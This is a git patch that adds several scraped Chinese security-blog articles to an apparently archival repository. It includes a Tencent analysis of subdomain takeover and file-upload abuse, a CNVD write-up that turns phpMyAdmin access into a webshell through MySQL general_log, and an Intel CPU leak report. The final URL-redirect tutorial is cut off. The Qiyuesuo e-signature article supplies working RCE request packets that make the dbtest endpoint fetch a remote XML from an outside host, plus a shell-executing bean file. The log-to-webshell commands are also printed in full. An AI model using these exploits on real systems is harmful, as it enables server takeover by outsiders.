From 79ece8da0ef576af956236e77408dea8ee404338 Mon Sep 17 00:00:00 2001 From: test Date: Wed, 18 Jun 2025 16:25:48 +0000 Subject: [PATCH] =?UTF-8?q?=E8=8B=B1=E7=89=B9=E5=B0=94=20CPU=20=E6=96=B0?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E5=AF=BC=E8=87=B4=E7=89=B9=E6=9D=83=E5=86=85?= =?UTF-8?q?=E5=AD=98=E4=B8=AD=E7=9A=84=E6=95=8F=E6=84=9F=E6=95=B0=E6=8D=AE?= =?UTF-8?q?=E6=B3=84=E9=9C=B2=E3=80=81=E5=A5=91=E7=BA=A6=E9=94=81=E7=94=B5?= =?UTF-8?q?=E5=AD=90=E7=AD=BE=E7=AB=A0=E7=B3=BB=E7=BB=9Fdbtest=E6=8E=A5?= =?UTF-8?q?=E5=8F=A3=E5=AD=98=E5=9C=A8=E8=BF=9C=E7=A8=8B=E5=91=BD=E4=BB=A4?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=20=E9=99=84POC=E3=80=81?= =?UTF-8?q?=E4=B8=8A=E5=8D=83=E5=AE=B6=E6=94=BF=E4=BC=81=E7=BD=91=E7=AB=99?= =?UTF-8?q?=E6=B2=A6=E4=B8=BA=E9=BB=91=E4=BA=A7=E8=B7=B3=E6=9D=BF=EF=BC=9A?= =?UTF-8?q?=E5=AD=90=E5=9F=9F=E5=90=8D=E6=8E=A5=E7=AE=A1=E4=B8=8E=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E=E6=B7=B1=E5=BA=A6?= =?UTF-8?q?=E5=88=86=E6=9E=90=E3=80=81=E7=BA=A2=E9=98=9F=E7=BB=88=E6=9E=81?= =?UTF-8?q?=E6=8C=87=E5=8D=97=EF=BC=9A=E2=80=9CA-poc=E2=88=95RedTeam-Tools?= =?UTF-8?q?=E2=80=9D=E3=80=81=E4=B8=80=E6=AC=A1CNVD=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E6=8C=96=E6=8E=98=E8=BF=87=E7=A8=8B=E3=80=81=E7=AC=AC=E5=85=AD?= =?UTF-8?q?=E7=AB=A0URL=E8=B7=B3=E8=BD=AC=E6=BC=8F=E6=B4=9E-=E5=8E=9F?= =?UTF-8?q?=E7=90=86=E5=88=B0=E5=AE=9E=E6=88=98=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 8 +- doc/2025-06/一次CNVD漏洞挖掘过程.md | 62 +++++ ...接管与文件上传漏洞深度分析.md | 245 ++++++++++++++++++ ...�£存在远程命令执行漏洞 附POC.md | 108 ++++++++ ...¬¬六章URL跳转漏洞-原理到实战.md | 119 +++++++++ ...极指南:“A-poc∕RedTeam-Tools”.md | 101 ++++++++ ...致特权内存中的敏感数据泄露.md | 63 +++++ 7 files changed, 705 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/一次CNVD漏洞挖掘过程.md create mode 100644 doc/2025-06/上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析.md create mode 100644 doc/2025-06/契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC.md create mode 100644 doc/2025-06/第六章URL跳转漏洞-原理到实战.md create mode 100644 doc/2025-06/红队终极指南:“A-poc∕RedTeam-Tools”.md create mode 100644 doc/2025-06/英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露.md diff --git a/data.json b/data.json index 967a93bd..8259b596 100644 --- a/data.json +++ b/data.json @@ -15342,5 +15342,11 @@ "https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487483&idx=1&sn=3f27f6c0814b247a8d5872fbd336bbb6": "100 个 Web 应用漏洞类型挖掘", "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524831&idx=1&sn=fccb308af75d0ed4e6fda2f6f3ffb43d": "Chrome 漏洞让攻击者能够执行任意代码 – 立即更新!", "https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484906&idx=1&sn=f34099f37ed06bb9ba3ccb49e3fe7bd5": "安钥®「漏洞防治标准作业程序(SOP)」征文启示 [2025年第24期,总第42期]", - "https://mp.weixin.qq.com/s?__biz=MzUzOTE2OTM5Mg==&mid=2247490423&idx=1&sn=36a82489f3056c2530dd2906ac91c352": "【已复现】泛微E-cology9存在远程代码执行漏洞" + "https://mp.weixin.qq.com/s?__biz=MzUzOTE2OTM5Mg==&mid=2247490423&idx=1&sn=36a82489f3056c2530dd2906ac91c352": "【已复现】泛微E-cology9存在远程代码执行漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247493007&idx=1&sn=b20a374d3ca3b7006b0efb5ae5029fd5": "英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露", + "https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247488643&idx=1&sn=b27e3aba1632dd12bad93e6c83fe107a": "契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC", + "https://mp.weixin.qq.com/s?__biz=Mzg5OTE4NTczMQ==&mid=2247527275&idx=1&sn=128c0b0612fe1c9346fec2741ef0b702": "上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析", + "https://mp.weixin.qq.com/s?__biz=Mzg4NzgyODEzNQ==&mid=2247489365&idx=2&sn=c4c745e3b68fe39fddc6bb157e321d50": "红队终极指南:“A-poc∕RedTeam-Tools”", + "https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247486121&idx=1&sn=0fd01996425ee4db46ec9a675851b9c7": "一次CNVD漏洞挖掘过程", + "https://mp.weixin.qq.com/s?__biz=Mzg4Njk1NDg5NQ==&mid=2247483905&idx=1&sn=f5ceef3c62817cf807d41a9890fbaf34": "第六章URL跳转漏洞-原理到实战" } \ No newline at end of file diff --git a/doc/2025-06/一次CNVD漏洞挖掘过程.md b/doc/2025-06/一次CNVD漏洞挖掘过程.md new file mode 100644 index 00000000..da65a0be --- /dev/null +++ b/doc/2025-06/一次CNVD漏洞挖掘过程.md @@ -0,0 +1,62 @@ +# 一次CNVD漏洞挖掘过程 +zzzurl 蓝云Sec 2025-06-18 16:01 + +1、被测网站 + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQUfSWEOz0etPWgPTZUFnKfDLdltU4d6UrWBYlq9OaVsQ0ib62SZg7Q3Q/640?wx_fmt=png&from=appmsg "") + +2、使用cmd命令查询该网站ip地址, + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQKjXLTTtmVEAAE5PnOBQKBOXQtNxMqhmvQ9icd3Pv288tMWULZGnAa9Q/640?wx_fmt=png&from=appmsg "") + +3、使用ip直接访问,改地址可直接下载文件(猜测应该是配置失误导致) + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQtCqSOqpNqWnTlKMEWibYwf3LdnqSX9O5uSeCibwYsMaWZCjLOgRVYppg/640?wx_fmt=png&from=appmsg "") + +4、发现该目录下有备份文件xxx.rar下载该文件 + +5、找到文件中的敏感文件 + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQFtFv6tJWIBcTqgPTkL9kGe1yYomc7tph01sib4t7BpEG0sHEnAV5oQA/640?wx_fmt=png&from=appmsg "") + +6、里面有数据库账号密码; + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQlAVoImuY2b6aucQj8xNJx5EIT8nLMdSsGP10Vc8J0PBmuYZ68RxvSw/640?wx_fmt=png&from=appmsg "") + +7、因为是php搭建有phpmyadmin使用phpmyadmin登陆 + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQibXibM8WHMdnjJHLkzic2T1cuqYuunB6atk65uV8N8P7LerygyJ4gpQqA/640?wx_fmt=png&from=appmsg "") + +8、直接使用sql写入getshell + +9、通过写入日志文件getshell + +10、读写权限+web绝对路径,修改日志文件为webshell +**具体利用方法如下:** + +(1) 开启日志记录: + +set global general_log = "ON"; + +(2) 查看当前的日志目录: + +show variables like 'general%'; + +(3) 指定日志文件(目录结构可以直接访问phpinfo) + +set global general_log_file = "C:/phpStudy/WWW/404.php"; + +(4)写入执行代码: + +select ""; + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQvGiby6Ld2V90gYC2cWOBMB9Sibwm9GD9X1EvfBMOkDWXRIzHPMARib1jw/640?wx_fmt=png&from=appmsg "") + +最后getshell连接 + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQ8FMuWvHFpyjZ5ib4CIPRKIgOOcuiaqyQq1FXLVJRhrlGAmnVE2ibic5ib6Q/640?wx_fmt=png&from=appmsg "") + +已上传到CNVD + +![](https://mmbiz.qpic.cn/mmbiz_png/IS2RlFMDPK7C9oVgOBoX4R1RE00tQDtQcsoahRKzYyTeeIPbKq66eicibWhxWMZnkpfSiaMVbyPsAabOVLNddzbnQ/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/2025-06/上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析.md b/doc/2025-06/上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析.md new file mode 100644 index 00000000..fe4f965a --- /dev/null +++ b/doc/2025-06/上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析.md @@ -0,0 +1,245 @@ +# 上千家政企网站沦为黑产跳板:子域名接管与文件上传漏洞深度分析 + 腾讯安全 2025-06-18 10:25 + +**近期,腾讯安全风控平台团队在治理外链安全时发现某协会网站下突增数十万个子域名,且访问这些子域名均会跳转到付费色情网站;某省司法厅网站也存在类似情形,点击其主站下方链接将会跳转到色情网站。经过分析发现,这些网站存在子域名接管漏洞和上传漏洞,被黑产发现并利用,而存在类似问题的企业政府网站达到数千家。** + +**** +**子域名接管与文件上传漏洞利用堪称“黑产跳板”,其存在一些典型特征,下文将结合案例具体分析:** + +**** +**案例一:DNS通配符“引爆”60万色情子域名** + +**** +**近期,某协会网站流量突然异常起来,访问量暴增数万倍,子域名数量更是达到惊人的60多万。如图1.1所示,经过分析发现,虽然主站访问正常,但是其子域名均会跳转到需要付费观看的色情网站。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIwx4yYpYoqViaacVhCs5OLjf1gcYvIia8QhLG5Ay4MerfgLcsYnIgblGg/640?wx_fmt=jpeg "") + +**图1.1 出现异常告警的某协会网站除少数属于正常流量外,其他均跳转到色情网站** + +**** +**如图1.2所示,经过对该协会解析的DNS记录分析发现,该域名下所有子域名解析的IP一共有两个,其中120.***.***.244 下解析的子域数量只有不到10个,均为正常网站,另一个49.***.***.7解析的子域数量高达60多万,均为色情网站,并且这些子域名有着很强的特征,一看就是随机生成的。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIMkEtSFm1Biboibck34YgSnb2HXJU9Yqse5OknjL33TFM7bQJwhniaOIzA/640?wx_fmt=jpeg "") + +**图1.2 某协会网站下子域名解析的IP地址统计** + +**** +**案例二:图片文件隐藏的"特洛伊木马"攻击** + +**** +**在访问某浏览器网站下的图片链接时,莫名其妙打开了一个色情网站;通过wget命令把这个图片下了过来,发现整体大小只有17.6KB,像素为10×10,浏览时没啥有效信息,如图1.3所示。当用户点击看似无害的10×10像素“图片”时,实际已触发隐藏在文件尾部的JS炸弹:这个图片原来只有文件头是图像,后面嵌入了一整个网页信息,访问时触发JS控制,重写页面展示恶意内容,如图1.4所示。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_png/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIvo9mWMs1unym1m4IUicaIIBbtjlk6aaqN7DcTmarIYUw0vFLI0hDP0w/640?wx_fmt=png&from=appmsg "") + +**图 1.3 图像没有啥有效信息** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdITR7MibhSF1laB4V7wKAL6rXfvVDNR4QIXqqgCPn3yMjSwHMSv4xYXhQ/640?wx_fmt=jpeg "") + +**图 1.4 只有文件头是图像相关的,后面嵌入了整个网页** + +**** +**案例三:假冒图片文件植入“特洛伊木马”攻击** + +**** +**在访问某知名牛奶公司网站下的图片链接时,也跳转到了一个色情网站;通过wget命令把这个图片下载下来,发现只有文件后缀是图片,实际内容是一个网页信息,访问时会触发JS控制,重写页面展示恶意内容,如图1.5所示。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdI35J1N2bLv6RWO37GhCX3xU4IKmnvT0IXOZvHJJk4KJBlWTUMDfreCQ/640?wx_fmt=jpeg "") + +**图 1.5 只有文件后缀是图片后缀,实际内容是网页** + +**** +**案例四:空白页面的JS重定向陷阱** + +**** +**在访问某省司法厅下的链接时,也跳转到了一个色情网站;通过观察该链接的源代码,发现该源代码非常简洁,几乎是一个空白页面,但访问时会触发JS控制,重定向到另外一个色情网站,如图1.6所示。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIe2WToQLLm94vfmMRokjricN0hI7gYHxXIVVA28FGnyrJB1nbQsynyicA/640?wx_fmt=jpeg "") + +**图1.6 链接内容几乎空白,通过JS控制页面实际内容** + +**** +**通过对上述四个案例展开深入分析,可总结出如下漏洞趋势:案例一中的网站存在子域名接管漏洞,案例二至四的网站存在文件上传漏洞,这些漏洞被黑灰产发现并利用,网站也间接地成为了黑产帮凶。如图1.7所示,截至6月5日已经有超过1千家企业、政府网站存在漏洞而被黑产利用。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIMjD3TuicVWicTIzQqM0kct8V1hCjpRMAgOia1xQ61YSGkic7a1S3icHuLQA/640?wx_fmt=jpeg "") + +**图1.7 因存在漏洞被黑产利用的企业政府网站数量增长趋势** + +**被遗忘的DNS记录如何沦为黑产温床?** + +**子域接管是指注册一个新的域名以获取对另外一个域名控制权。这个过程最常见的场景如下:** + +****- **域名使用CNAME记录指向另外一个域名,例如,sub.test_a.com CNAME test_b.com。** + +****- **在某一时间,test_b.com因过期使得任何人都可以注册。** + +****- **由于test_a.com的CNAME记录并没有清除,因此注册test_b.com的人可以完全控制sub.test_a.com。** + +**** +**CNAME记录接管是当前外链安全中最常见的一种子域接管漏洞,尤其是通过DNS通配符生成的子域接管尤其严重。DNS通配符记录使得未明确指定的子域名都指向一个通用地址,这个地址可以是一个IP地址,也可能是一个CNAME记录。例如案例一分析就是DNS通配符所引发的,具体过程如图2.1所示,包含以下3个阶段。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIMvjYKiajsVbVTicicF5DhR5Y4zBWxY6mWGib2BicSkgGI6BXIjywgPbn7rA/640?wx_fmt=jpeg "") + +**图2.1 子域名接管漏洞出现的几个阶段** + +****- **早期,该协会网站曾经部署在IP49.***.***.7上面,并配置了通用的DNS解析记录*.***da.cn指向IP49.***.***.7。** + +****- **其后,该协会把网站迁移到了IP120.***.***.244,但忘记删除历史的DNS解析记录(*.***da.cn指向IP49.***.***.7)。这样就导致除了该协会网站预设的子域名外,其余的子域名都会解析到49.***.***.7这个IP下面。** + +****- **黑产在发现这个问题之后,发现49.***.***.7是某云平台的IP,还没有被占用,于是将该IP注册,并在上面搭建了大量的色情页面。黑产通过各种渠道大肆传播可以解析到49.***.***.7的子域名。这导致该协会域名下资源访问热度和子域名数量出现爆炸性增长。** + +**** +**除了CNAME子域接管漏洞外,还有NS子域名接管漏洞和MX子域名劫持,这里不做详细阐述。子域接管漏洞所导致的后果十分严重,黑灰产可以利用子域接管经正规域名访问钓鱼网站、违规收集个人信息,损害正规域名的品牌信誉。** + +**** +**腾讯安全已经发现超过千家企业网站存在子域接管漏洞,并且被黑灰产利用,生成了超过千万的虚假红包的子域名。这类黑产,通常以“海底捞新店开业”“海底捞上市”“海底捞粉丝回馈”等名义,传播一些虚假红包链接,要求用户转发和分享后才可以提现,如图2.2所示。但实际上,这是一种典型的骗局,黑产的目的是诱导用户转发获取流量以及个人信息,引导用户关注黑灰产控制的公众号资源,再利用这些资源传播色情和诈骗内容,诱导用户充值,以此来非法牟利。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIWrWDjB0ILoxv2ZxptbCyUWCz16VUhes21gsVlPQnmH5uegiamBbrecg/640?wx_fmt=jpeg "") + +**图2.2 通过子域名接管漏洞大量传播仿冒海底捞虚假红包** + +**** +**如图2.3所示,通过子域接管漏洞传播虚假红包背后的黑灰产作恶流程主要包含以下几个步骤。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIewRFlhtAwfjvWaBzlbokE3dibjNaYyY1ibUBsNPuJ2iaGjM77U7tcC1ibQ/640?wx_fmt=jpeg "") + +**图2.3 通过子域接管漏洞传播虚假红包背后的黑灰产作恶流程** + +****- **用户浏览黑产通过子域名接管漏洞接管的企业子域名下面的某个页面,这个页面实际上是一个空白页面,只执行特定的JS。** + +****- **这个特定的JS首先会执行平台检测,如果非指定平台,则会重定向到一些知名的大站。如果是在指定平台上访问的话,则执行下一步。** + +****- **特定的JS会向黑产搭建的服务器后台发起请求,获取虚假红包页面。** + +****- **在接收到黑产后台返回的响应内容后,JS会清空当前页面,根据返回的信息重绘当前页面,或者重定向到另外一个页面。** + +****- **用户现在看到的就是虚假红包页面,会根据页面的相关指引进行后续分享、关注某些公众号资源或者在网站上登记相关个人信息。** + +**** +**同时,通过网址关系链技术,我们发现这些仿冒海底捞红包的子域名最后指向的资源,存在高度的聚集性,呈现明显的团伙性质,如图2.4所示,橙色部分为用户浏览传播的仿冒海底捞虚假红包的子域名,蓝色部分为重定向或者黑产后台服务相关的子域名。通过对蓝色部门的持续监控,我们就可以不断获取黑产新投入的仿冒海底捞虚假红包的子域名。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdI1R8p3Nu6fKDgx8RMonPLUW3z4dWDich5LPf4LIP0JOGS47jHTyV5O8A/640?wx_fmt=jpeg "") + +**图2.4 通过子域接管漏洞传播虚假红包团伙分析** + +**子域名安全防护“六步法”** + +**为了预防子域名接管漏洞的发生,可以采用以下综合措施:** + +****- **定期审查子域名与DNS记录。可以使用工具定期扫描所有子域名,建立完整的资产清单。并及时删除不再使用的子域名或更新其DNS记录,避免指向失效的第三方服务。** + +****- **强化DNS配置。通过DNS安全扩展防止DNS劫持,确保解析结果的真实性和完整性。此外也可以应用最小权限言责,避免过度授权。** + +****- **监控与自动化防护。实时监控DNS记录变更,设置告警机制。此外还可以应用对应工具定期检测漏洞。** + +****- **第三方服务管理。验证第三方服务的所有权,即便服务停用,在第三方平台保留占位页面或保留资源所有权。** + +****- **安全策略与培训。为所有的子域名强制HTTPS、HSTS和内容安全策略。并增强管理员和开发人员的风险意识。** + +****- **应急响应。明确安全事件的处置步骤,定期备份DNS区域文件,确保可快速回滚至安全状态。** + +**文件校验不全政企官网成了黑产“马甲”** + +**案例二至四就是典型的上传漏洞引起的问题,如图3.1所示,文件上传漏洞被利用的情况大致可以分为以下几种:** + +****- **文件上传接口没有校验上传文件的类型,在这种情况下,本来只应该接收图片格式的文件上传接口,被用户上传了HTML文件。** + +****- **文件上传接口只校验上传文件的后缀,在这种情况下,本来只应该接收图片格式的文件上传接口,被用户上传了HTML文件,但只是后缀改成了PNG。** + +****- **文件上传接口只校验上传文件的文件头,在这种情况下,用户可以只调整文件头和后缀,文件头后的实际内容为HTML内容。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdIE4aSorpTJ109OzfoqFiceM9ApNoDk2VODAweOXvIuX4eDoGhEOcVkKg/640?wx_fmt=jpeg "") + +**图3.1 文件上传漏洞的几种情况** + +**** +**如图3.2所示,黑产通过文件上传漏洞作恶的基本流程如包括以下几个步骤:** + +**** +**** +**图3.2 黑产利用文件上传漏洞上传恶意HTML作恶的流程** + +****- **用户浏览黑产通过文件上传漏洞上传的引流页面,这个页面实际上是一个空白页面,只执行特定的JS。** + +****- **特定的JS首先执行调试模式检测,如果是调试模式,则终端整个流程。非调试模式,则执行下一步。** + +****- **特定的JS执行平台检测,如果不在指定平台范围内,则会重定向到一些知名的大站。如果是指定平台,则执行下一步。** + +****- **JS向黑产的后台发起请求。** + +****- **黑产后台处理请求,并返回需要重绘的页面,由JS完成页面重绘。** + +****- **用户点击重绘页面中的按钮,再次向黑产后台发起新的请求。** + +****- **黑产后台处理相关的请求,计算得到重定向的目标网站。** + +****- **黑产后台返回重定向的目标网站。** + +****- **用户终端重定向到目标网站。** + +****- **用户继续观看目标网站上的恶意内容,进行分享观看及购买等相关操作。** + +**** +**经过上述作恶流程分析,我们发现很多色情网站可能有统一的后台。通过网址关系链技术,我们发现,一周内发现具有上述作恶特征的站点达到186万个,涉及超过2.1万个域名。其中除了黑产自建的网站之外,黑产也会应用一些企业网站的文件上传漏洞来传播恶意内容,本次发现超过360个政企网站和少数个人网站存在文件上传漏洞且被黑产利用,如图3.3所示,由于涉及很多正规网站,这对我们的打击策略有了更高的要求。** + +**** +![](https://mmbiz.qpic.cn/mmbiz_jpg/OJbMFMZkdeno2kViaAu12Az0NvhszdOdI3CdkMibgmX5Doggg1dxlnfZLUpFB7aGfgicjQU9PK4aMD7ZES5NLibjog/640?wx_fmt=jpeg "") + +**图 3.3 文件上传漏洞背后黑灰产团伙分析** + +文件上传漏洞 + +“四重防护盾”构建 + + + +**预防文件上传漏洞可以从文件校验、存储安全、服务器配置和监控审计等多方面入手。** + +****- **文件校验:白名单校验,仅允许特定扩展名,避免黑名单方式,但这种容易被绕过;MIME类型校验,检查Content-Type,防止伪造文件类型;文件内容检查,通过文件头验证真实格式;文件大小限制,如限制在2MB以内。** + +****- **存储安全:随机重命名,生成随机文件名,避免路径预测或覆盖;非Web目录存储,上传文件保存到不可以直接访问的目录;禁用执行权限,通过服务器配置禁止上传目录解析脚本。** + +****- **服务器配置:独立文件服务器,使用单独域名/CDN分发文件,利用同源策略限制攻击;禁用危险函数,如PHP的system、exec等;HTTPS传输,防止上传过程被篡改。** + +****- **监控与审计:病毒扫描,使用工具扫描上传文件;日志记录,记录所有上传操作,方便追踪异常行为;定期检查,审计上传内容和服务器日志。** + +**当前,腾讯安全团队已在腾讯系产品上针对存在发现的仿冒海底捞虚假红包和支付类色情的外链进行了处理,但是黑产的作恶收到和方法一直处于快速的变化中。腾讯安全建议所有用户不要访问风险外链,避免上当受骗,同时也建议网站管理员根据漏洞防范方法做好网站的安全管理工作,避免网站被黑灰产利用。** + + + + +- END - + + + +**构建数字安全免疫力,守护企业生命线** + + +**推荐阅读** + +[](https://mp.weixin.qq.com/s?__biz=Mzg5OTE4NTczMQ==&mid=2247526481&idx=1&sn=4c3df6a097139dcd269f02605c5288bf&scene=21#wechat_redirect) + +**二进制与LLM的碰撞:反混淆技术的新尝试** +  + +[](https://mp.weixin.qq.com/s?__biz=Mzg5OTE4NTczMQ==&mid=2247526517&idx=1&sn=1d00946ea3bf689b279f9318670cb530&scene=21#wechat_redirect) + +**2024漏洞风险启示录:在攻防的螺旋中寻找「治愈」之道** + +[](https://mp.weixin.qq.com/s?__biz=Mzg5OTE4NTczMQ==&mid=2247526425&idx=1&sn=720bc0dc67c58939f2189e19ffb5d9b4&scene=21#wechat_redirect) + +**DeepSeek爆火之下暗潮汹涌** + + + diff --git a/doc/2025-06/契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC.md b/doc/2025-06/契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC.md new file mode 100644 index 00000000..85b4b319 --- /dev/null +++ b/doc/2025-06/契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC.md @@ -0,0 +1,108 @@ +# 契约锁电子签章系统dbtest接口存在远程命令执行漏洞 附POC +2025-6-18更新 南风漏洞复现文库 2025-06-18 15:44 + +  + +免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. 契约锁电子签章系统简介 + +微信公众号搜索:南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +契约锁电子签章系统 +## 2.漏洞描述 + +契约锁电子签章系统dbtest接口存在远程命令执行漏洞 + +CVE编号: + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +契约锁电子签章系统 + +![契约锁电子签章系统dbtest接口存在远程命令执行漏洞](https://mmbiz.qpic.cn/sz_mmbiz_png/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2opZQwHXCaibzIReQH3FUqrejPibPPKbt0PrNmXt237elY1QlzYwBKtEEicw/640?wx_fmt=png&from=appmsg "null") + +契约锁电子签章系统dbtest接口存在远程命令执行漏洞 +## 4.fofa查询语句 + +app="契约锁-电子签署平台" +## 5.漏洞复现 + +漏洞数据包如下两个: +``` +GET /api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1 +Host: xx.xx.xx.xxx +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept: */* +Connection: Keep-Alive +``` +``` +GET /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fdxugqgrfejgjdekb.2bi2sq.dnslog.cn%2F1%2Exml HTTP/1.1 +Host: xx.xx.xx.xxx +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept: */* +Connection: Keep-Alive +``` + +存在漏洞会成功出发dnslog平台记录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2op6jZx447PHTeDfx0dMmpfWoLTFSv345QibMYHvh6ic8AugWmicGzwFOdMA/640?wx_fmt=jpeg&from=appmsg "null") + + +可以在把dnslog替换成自己的恶意代码地址,在自己的网站上搭建如下文件,用接口访问该文件即可: +``` + +    +        +          +            /bin/sh +            -c +            touch /tmp/test +          +        +    + +``` +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全 +1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。 +2: 免登录,免费fofa查询。 +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别,持续更新指纹库。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2op1FIgBibg2cEp3BA7WYp7PrQReYtaPf0Px5dUoNmBicC1TXe75zIxGp6Q/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2op3yzibXsDBgKhVcHOxzDycCW8rK6dbCOg1MCWaHAsT5gV5R7E5GHiabtg/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2opYnEnqJOKu7WcPj6UutydpNESnTDkDrphK4zqOia5CWPkecjjLzWEY0w/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2opRtmSqDoX2hOXOrafqLtd0Vk2QggJCPqvvp4MGAlGADUhYvIthibGpPQ/640?wx_fmt=jpeg&from=appmsg "null") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HsJDm7fvc3Yq1Uqh5QWY0KktonmgF2opRELQ1qSmBicibvf15gUARDTaSoKdia8nKiaZJWJ63tuoibbzNiaA5z6YuWuA/640?wx_fmt=jpeg&from=appmsg "null") + +## 7.整改意见 + +打补丁 +## 8.往期回顾 + + +  + + + diff --git a/doc/2025-06/第六章URL跳转漏洞-原理到实战.md b/doc/2025-06/第六章URL跳转漏洞-原理到实战.md new file mode 100644 index 00000000..eec1f403 --- /dev/null +++ b/doc/2025-06/第六章URL跳转漏洞-原理到实战.md @@ -0,0 +1,119 @@ +# 第六章URL跳转漏洞-原理到实战 +原创 今木安全 今木安全 2025-06-18 16:03 + +# 1. 定义 + +URL跳转漏洞(开放重定向漏洞)发生在Web应用程序未经验证地将用户重定向到第三方URL时。该漏洞允许攻击者构造恶意链接,将用户从可信网站重定向到钓鱼网站或恶意内容页面。 + +**核心问题** +:应用程序将用户控制的输入直接用于重定向操作,未进行安全验证: +## 2. 现象 +### 典型漏洞表现: +``` +``` +### 漏洞特征: +- URL中包含redirect +、return +、url 